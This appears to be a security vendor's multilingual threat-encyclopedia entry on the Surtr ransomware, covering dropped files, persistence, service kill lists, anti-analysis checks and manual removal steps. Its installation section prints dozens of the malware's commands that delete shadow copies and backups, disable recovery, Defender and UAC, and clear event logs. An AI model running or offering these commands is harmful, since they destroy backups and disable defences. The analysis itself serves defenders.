Ransom.Win64.SURTR.A
Ransom:Win64/Surtr.MK!MTB (MICROSOFT)
Windows
Type de grayware:
Ransomware
Destructif:
Non
Chiffrement:
Oui
In the wild::
Oui
Overview
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Détails techniques
Übertragungsdetails
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
Schleust die folgenden Dateien ein:
- C:\ProgramData\Service\SurtrIcon.ico
- C:\ProgramData\Service\SURTR_README.hta
- C:\ProgramData\Service\SURTR_README.txt
- C:\ProgramData\Service\BUs.surt
- C:\ProgramData\Service\ID_DATA.surt
- C:\ProgramData\Service\Private_DATA.surt
- C:\ProgramData\Service\Public_DATA.surt
- C:\ProgramData\Service\Service.surt
- C:\ProgramData\Service\SurtrBackGround.jpg
- C:\ProgramData\Service\SurtrIcon.ico
- {Encrypted Directory}\Private_DATA.surt
Schleust die folgenden Eigenkopien in das betroffene System ein:
- C:\ProgramData\Service\Surtr.exe
Fügt die folgenden Prozesse hinzu:
- %System%\cmd.exe /c echo off
- %System%\cmd.exe /c chcp 437
- %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
- %System%\cmd.exe /c bcdedit /set {default} recoveryenabled No
- %System%\cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=O:\ /on=O:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=P:\ /on=P:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=R:\ /on=R:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=T:\ /on=T:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=U:\ /on=U:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB
- %System%\cmd.exe /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB
- %System%\cmd.exe /c del /s /f /q A:\*.bac A:\*.bak A:\Backup*.* A:\backup*.*
- %System%\cmd.exe /c del /s /f /q B:\*.bac B:\*.bak B:\Backup*.* B:\backup*.*
- %System%\cmd.exe /c del /s /f /q C:\*.bac C:\*.bak C:\Backup*.* C:\backup*.*
- %System%\cmd.exe /c del /s /f /q D:\*.bac D:\*.bak D:\Backup*.* D:\backup*.*
- %System%\cmd.exe /c del /s /f /q E:\*.bac E:\*.bak E:\Backup*.* E:\backup*.*
- %System%\cmd.exe /c del /s /f /q F:\*.bac F:\*.bak F:\Backup*.* F:\backup*.*
- %System%\cmd.exe /c del /s /f /q G:\*.bac G:\*.bak G:\Backup*.* G:\backup*.*
- %System%\cmd.exe /c del /s /f /q H:\*.bac H:\*.bak H:\Backup*.* H:\backup*.*
- %System%\cmd.exe /c del /s /f /q I:\*.bac I:\*.bak I:\Backup*.* I:\backup*.*
- %System%\cmd.exe /c del /s /f /q J:\*.bac J:\*.bak J:\Backup*.* J:\backup*.*
- %System%\cmd.exe /c del /s /f /q K:\*.bac K:\*.bak K:\Backup*.* K:\backup*.*
- %System%\cmd.exe /c del /s /f /q L:\*.bac L:\*.bak L:\Backup*.* L:\backup*.*
- %System%\cmd.exe /c del /s /f /q M:\*.bac M:\*.bak M:\Backup*.* M:\backup*.*
- %System%\cmd.exe /c del /s /f /q N:\*.bac N:\*.bak N:\Backup*.* N:\backup*.*
- %System%\cmd.exe /c del /s /f /q O:\*.bac O:\*.bak O:\Backup*.* O:\backup*.*
- %System%\cmd.exe /c del /s /f /q P:\*.bac P:\*.bak P:\Backup*.* P:\backup*.*
- %System%\cmd.exe /c del /s /f /q Q:\*.bac Q:\*.bak Q:\Backup*.* Q:\backup*.*
- %System%\cmd.exe /c del /s /f /q R:\*.bac R:\*.bak R:\Backup*.* R:\backup*.*
- %System%\cmd.exe /c del /s /f /q S:\*.bac S:\*.bak S:\Backup*.* S:\backup*.*
- %System%\cmd.exe /c del /s /f /q T:\*.bac T:\*.bak T:\Backup*.* T:\backup*.*
- %System%\cmd.exe /c del /s /f /q U:\*.bac U:\*.bak U:\Backup*.* U:\backup*.*
- %System%\cmd.exe /c del /s /f /q V:\*.bac V:\*.bak V:\Backup*.* V:\backup*.*
- %System%\cmd.exe /c del /s /f /q W:\*.bac W:\*.bak W:\Backup*.* W:\backup*.*
- %System%\cmd.exe /c del /s /f /q X:\*.bac X:\*.bak X:\Backup*.* X:\backup*.*
- %System%\cmd.exe /c del /s /f /q Y:\*.bac Y:\*.bak Y:\Backup*.* Y:\backup*.*
- %System%\cmd.exe /c del /s /f /q Z:\*.bac Z:\*.bak Z:\Backup*.* Z:\backup*.*
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA/t REG_DWORD /d 0 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E}/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore /v DisableConfig/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore /v DisableSR/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup/t REG_DWORD /d 1 /f
- %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
- %System%\cmd.exe /c reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *test /t REG_SZ /d "bcdedit /deletevalue {current} safeboot" /f
- %System%\cmd.exe /c reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce /v *execute /t REG_SZ /d "
- %System%\cmd.exe /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surt\UserChoice/v ProgId /t REG_SZ /d surt_auto_file /f
- %System%\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\.surt /ve /t REG_SZ /d surt_auto_file /f
- %System%\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\surt_auto_file\DefaultIcon /ve /t REG_SZ /d "C:\ProgramData\Service\SurtrIcon.ico" /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr/t REG_DWORD /d 0 /f
- %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun/t REG_DWORD /d 0 /f
- %System%\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
- %System%\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
- %System%\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
- %System%\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
- %System%\cmd.exe /c copy "C:\ProgramData\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
- %System%\cmd.exe /c copy "C:\ProgramData\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
- %System%\cmd.exe /c copy "C:\ProgramData\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
- %System%\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
- %System%\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
- %System%\cmd.exe /c copy "%TEMP%\Service\Private_DATA.surt" "%USERPROFILE%\Desktop\Private_DATA.surt"
- %System%\cmd.exe /c copy "%TEMP%\Service\ID_DATA.surt" "%USERPROFILE%\Desktop\ID_DATA.surt"
- %System%\cmd.exe /c copy "%TEMP%\Service\SURTR_README.hta" "%USERPROFILE%\Desktop\SURTR_README.hta"
- %System%\cmd.exe /c copy "%TEMP%\Service\Service\SURTR_README.txt" "%USERPROFILE%\Desktop\SURTR_README.txt"
- %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
- %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F
- %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe/F
- %System%\cmd.exe /c for /F "tokens=*" %s in ('wevtutil.exe el') DO wevtutil.exe cl "%s"
- %System%\cmd.exe /c attrib +R /S "C:\ProgramData\Service"
- %System%\cmd.exe /c attrib +R /S "%TEMP%\Service"
- %System%\cmd.exe /c attrib +h +s C:\ProgramData\Service\SurtrBackGround.jpg
- %System%\cmd.exe /c attrib +h C:\ProgramData\Service\SurtrIcon.ico
- %System%\cmd.exe /c attrib +h +s "C:\ProgramData\Service\Surtr.exe"
- %System%\cmd.exe /c attrib +h +s "%TEMP%\Service\Surtr.exe"
- %System%\cmd.exe /c attrib +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Surtr.exe"
- %System%\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
- %System%\cmd.exe /c mshta C:\ProgramData\Service\SURTR_README.hta
- %System%\cmd.exe /c start C:\ProgramData\Service\SURTR_README.txt
- %System%\cmd.exe /c shutdown -r -f
(Hinweis: %System% ist der Windows Systemordner. Er lautet in der Regel C:\Windows\System unter Windows 98 und ME, C:\WINNT\System32 unter Windows NT und 2000 sowie C:\Windows\System32 unter Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) and 10(64-bit).)
Erstellt die folgenden Ordner:
- C:\ProgramData\Service
- %temp%\Service\
Fügt die folgenden Mutexe hinzu, damit nur jeweils eine ihrer Kopien ausgeführt wird:
- SurtrMUTEX
Prozessbeendigung
Beendet die folgenden Dienste, wenn sie auf dem betroffenen System gefunden werden:
- Acronis VSS Provider
- Enterprise Client Service
- Sophos Agent
- Sophos AutoUpdate Service
- Sophos Clean Service
- Sophos Device Control Service
- Sophos File Scanner Service
- Sophos Health Service
- Sophos MCS Agent
- Sophos MCS Client
- Sophos Message Router
- Sophos Safestore Service
- Sophos System Protection Service
- Sophos Web Control Service
- SQLsafe Backup Service
- SQLsafe Filter Service
- Symantec System Recovery
- Veeam Backup Catalog Data Service
- AcronisAgent
- AcrSch2Svc
- Antivirus
- BackupExecJobEngine
- BackupExecManagementService
- BackupExecRPCService
- BackupExecVSSProvider
- EPSecurityService
- IISAdmin
- IMAP4Svc
- macmnsvc
- masvc
- MBAMService
- MBEndpointAgent
- McAfeeEngineService
- McAfeeFramework
- McAfeeFrameworkMcAfeeFramework
- McShield
- mfemms
- mfevtp
- MMS
- mozyprobackup
- MsDtsServer
- MsDtsServer100
- MsDtsServer110
- MSExchangeES
- MSExchangeIS
- MSExchangeMGMT
- MSExchangeMTA
- MSExchangeSA
- MSExchangeSRS
- MSOLAP$SQL_2008
- MSOLAP$SYSTEM_BGC
- MSOLAP$TPS
- MSOLAP$TPSAMA
- MSSQL$BKUPEXEC
- MSSQL$ECWDB2
- MSSQL$PRACTICEMGT
- MSSQL$PRACTTICEBGC
- MSSQL$PROFXENGAGEMENT
- MSSQL$SBSMONITORING
- MSSQL$SHAREPOINT
- MSSQL$SQL_2008
- MSSQL$SYSTEM_BGC
- MSSQL$TPS
- MSSQL$TPSAMA
- MSSQL$VEEAMSQL2008R2
- MSSQL$VEEAMSQL2012
- MSSQLFDLauncher
- MSSQLFDLauncher$PROFXENGAGEMENT
- MSSQLFDLauncher$SBSMONITORING
- MSSQLFDLauncher$SHAREPOINT
- MSSQLFDLauncher$SQL_2008
- MSSQLFDLauncher$SYSTEM_BGC
- MSSQLFDLauncher$TPS
- MSSQLFDLauncher$TPSAMA
- MSSQLSERVER
- MSSQLServerADHelper100
- MSSQLServerOLAPService
- MySQL80
- MySQL57
- OracleClientCache80
- PDVFSService
- POP3Svc
- ReportServer
- ReportServer$SQL_2008
- ReportServer$SYSTEM_BGC
- ReportServer$TPS
- ReportServer$TPSAMA
- RESvc
- sacsvr
- SamSs
- SAVAdminService
- SAVService
- Smcinst
- SmcService
- SMTPSvc
- SNAC
- SntpService
- sophossps
- SQLAgent$BKUPEXEC
- SQLAgent$ECWDB2
- SQLAgent$PRACTTICEBGC
- SQLAgent$PRACTTICEMGT
- SQLAgent$PROFXENGAGEMENT
- SQLAgent$SBSMONITORING
- SQLAgent$SHAREPOINT
- SQLAgent$SQL_2008
- SQLAgent$SYSTEM_BGC
- SQLAgent$TPS
- SQLAgent$TPSAMA
- SQLAgent$VEEAMSQL2008R2
- SQLAgent$VEEAMSQL2012
- SQLBrowser
- SQLSafeOLRService
- SQLSERVERAGENT
- SQLTELEMETRY
- SQLTELEMETRY$ECWDB2
- SQLWriter
- SstpSvc
- svcGenericHost
- tmlisten
- TrueKey
- UI0Detect
- VeeamBackupSvc
- VeeamBrokerSvc
- VeeamCatalogSvc
- VeeamCloudSvc
- VeeamDeploymentService
- VeeamDeploySvc
- VeeamEnterpriseManagerSvc
- VeeamMountSvc
- VeeamNFSSvc
- VeeamRESTSvc
- VeeamTransportSvc
- W3Svc
- wbengine
- WRSVC
- MSSQL$VEEAMSQL2008R2
- SQLAgent$VEEAMSQL2008R2
- VeeamHvIntegrationSvc
- swi_update
- SQLAgent$CXDB
- SQLAgent$CITRIX_METAFRAME
- SQLBackups
- MSSQL$PROD
- Zoolz2Service
- MSSQLServerADHelper
- SQLAgent$PROD
- msftesql$PROD
- NetMsmqActivator
- EhttpSrv
- ekrn
- ESHASRV
- MSSQL$SOPHOS
- SQLAgent$SOPHOS
- AVP
- klnagent
- MSSQL$SQLEXPRESS
- SQLAgent$SQLEXPRESS
- wbengine
- HvHost
- vmickvpexchange
- vmicguestinterface
- vmicshutdown
- vmicheartbeat
- vmcompute
- vmicvmsession
- vmicrdv
- vmictimesync
- vmicvss
- VMAuthdService
- VMnetDHCP
- VMwareNATService
- VMUSBArbService
- VMwareHostd
- Sense
- WdNisSvc
- WinDefend
Beendet Prozesse oder Dienste, die einen oder mehrere dieser Zeichenfolgen enthalten, wenn sie im Speicher des betroffenen Systems ausgeführt werden:
- MMS.EXE
- SCHEDUL12.EXE
- SCHEDHELP.EXE
- TIB_MOUNTER_MONITOR.EXE
- SQLIOSIM.EXE
- SQLAGENT.EXE
- SQLMAINT.EXE
- SQLSTUBSS.EXE
- CSRSS.EXE
- SQLCEIP.EXE
- MSTSC.EXE
- TASKMGR.EXE
- SQLSERVR.EXE
- QBIDPSERVICE.EXE
- SQLSERVER.EXE
- MSFTESQL.EXE
- SQLBROWSER.EXE
- SQLWRITER.EXE
- ORACLE.EXE
- OCSSD.EXE
- DBSNMP.EXE
- SYNCTIME.EXE
- MYDESKTOPQOS.EXE
- AGNTSVC.EXE
- ISQLPPLUSSVC.EXE
- ISQLPUSSVS.EXE
- XFSSVCCON.EXE
- MYDESKTOPSERVICE.EXE
- OCAUTOUPDS.EXE
- ENCSVC.EXE
- TBIRDCONFIG.EXE
- OCOMM.EXE
- MYSQLD.EXE
- MYSQLD-NT.EXE
- MYSQLD-OPT.EXE
- DBENG50.EXE
- SQBCORESERVICE.EXE
- EXCEL.EXE
- INFOPATH.EXE
- MSACCESS.EXE
- MSPUB.EXE
- ONENOTE.EXE
- OUTLOOK.EXE
- POWERPNT.EXE
- STREAM.EXE
- THEBAT.EXE
- THEBAT64.EXE
- THUNDERBIRD.EXE
- VISIO.EXE
- WINWORD.EXE
- WORDPAD.EXE
- NOTEPAD.EXE
- PAINT.EXE
- NOTEPAD++.EXE
- ENDNOTE.EXE
- VMWAREUSER.EXE
- VMWARESERVICE.EXE
- VBOXSERVICE.EXE
- VBOXTRAY.EXE
- SANDBIXIEDCOMLAUNCH.EXE
- VMTOOLSD.EXE
- NTOSKRNL.EXE
- CBSERVICE.EXE
- HTTPD.EXE
- JAVAW.EXE
- JAVA.EXE
- IPTRAY.EXE
- IPERIUS.EXE
- FILEZILLA.EXE
- DATACOLLECTORSVC.EXE
- EDGETRANSPORT.EXE
- ACROTRAY.EXE
- AGENT.EXE
- SAGECSCLIENT.EXE
- WSUSSERVICE.EXE
- SLACK.EXE
- NODE.EXE
- W3WP.EXE
- MYSQL.EXE
- MSMDSRV.EXE
- MSDTSSRVR.EXE
- FDLAUNCHER.EXE
- FDHOST.EXE
- SSMS.EXE
- REPORTINGSERVICESSERVICE.EXE
- DATACOLLECT.EXE
- SAGE.NA.AT_AU.SERVICE.EXE
- SAGE.NA.AT_AU.SYSTRAY.EXE
Datendiebstahl
Folgende Daten werden gesammelt:
- Generated ID
- OS
- Disk Space
- Username
- Hostname
- Surtr version
- Infected datetime
- keyboard
- Private key
- Filecount
- Encryption status
Andere Details
Es macht Folgendes:
- Display The following Message box and terminate itself if the following condition is met:
- if Sandbox\Debugger is present:
- Message box title: SurtrRansomware
- Message box content : WARNING. SandBox/Debugger Detected !!!
- if executed in the following country :
- Iran
- Russia
- Ukraine
- Armenia
- Azerbaijan
- Turkmenistan
- Turkey
- Georgia
- Kazakhstan
- Tajikistan
- Uzbekistan
- Message box title: SurtrRansomware
- Message box content : WARNING. Surtr does not run in this country, if you do it again you will be banned.
- if the following process is running :
- WIRESHARK.EXE
- LORDPE.EXE
- PROCMON64.EXE
- PROCMON.EXE
- DIE.EXE
- XNTSV64.EXE
- XOCALC.EXE
- XVLK.EXE
- NFD.EXE
- PROCESSHACKER.EXE
- PDBRIPPER.EXE
- IDA64.EXE
- IDA.EXE
- IMMUNITYDEBUGGER.EXE
- GHIDRA.EXE
- X32DBG.EXE
- X64DBG.EXE
- OLLYDBG.EXE
- Message box title: SurtrRansomware
- Message box content : Analyzer Proccess Detected !!!
- if the config is bad
- Message box title: SurtrRansomware
- Message box content : WARNING. Bad Config.
- Display The following Message box after encryption
- Message box title: SurtrRansomware
- Message box content : Encryption Complete.
- It enumerates and clear logs via wevtutil
- It encrypts files found in the following drives:
- Removable Drive
- Fixed Drive
- Network Drive
- RAM Disks
- It sends the gathered information to the following URL:
- {BLOCKED}6mle3zxux6vpftyuezxhmad.onion.pe
- {BLOCKED}6vq3jo6mle3zxux6vpftyuezxhmad.onion.ly
- It restarts the affected machine after encrypting
- It changes the desktop wallpaper
Solutions
Step 2
Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.
Step 3
<p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p><p> Beachten Sie, dass nicht alle Dateien, Ordner, Registrierungsschlüssel und Einträge auf Ihrem Computer installiert sind, während diese Malware / Spyware / Grayware ausgeführt wird. Dies kann auf eine unvollständige Installation oder andere Betriebssystembedingungen zurückzuführen sein. Fahren Sie mit dem nächsten Schritt fort. </ p>
Step 4
Im abgesicherten Modus neu starten
Step 5
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
- Task Name: svchos1
Task to be run: C:\ProgramData\Service\Surtr.exe
- Task Name: svchos2
Task to be run: C:\ProgramData\Service\Surtr.exe
- Task Name: exp
Task to be run: C:\Windows\explorer.exe
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
Step 6
Diesen Registrierungswert löschen
Wichtig: Eine nicht ordnungsgemäße Bearbeitung der Windows Registrierung kann zu einer dauerhaften Fehlfunktion des Systems führen. Führen Sie diesen Schritt nur durch, wenn Sie mit der Vorgehensweise vertraut sind oder wenn Sie Ihren Systemadministrator um Unterstützung bitten können. Lesen Sie ansonsten zuerst diesen Microsoft Artikel, bevor Sie die Registrierung Ihres Computers ändern.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
- svchos1 = C:\ProgramData\Service\Surtr.exe
- svchos1 = C:\ProgramData\Service\Surtr.exe
- In HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
- svchos2 = C:\ProgramData\Service\Surtr.exe
- svchos2 = C:\ProgramData\Service\Surtr.exe
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\
- svchos3 = C:\ProgramData\Service\Surtr.exe
- svchos3 = C:\ProgramData\Service\Surtr.exe
- In HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\
- svchos4 = C:\ProgramData\Service\Surtr.exe
- svchos4 = C:\ProgramData\Service\Surtr.exe
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
- EnableLUA = 0
- EnableLUA = 0
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
- EnableLinkedConnections = 1
- EnableLinkedConnections = 1
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
- DisableTaskMgr = 1
- DisableTaskMgr = 1
- In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
- DisableAntiSpyware = 1
- DisableAntiSpyware = 1
- In HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System
- AllowBlockingAppsAtShutdown = 1
- AllowBlockingAppsAtShutdown = 1
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
- StartMenuLogOff = 1
- StartMenuLogOff = 1
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
- NoRun = 1
- NoRun = 1
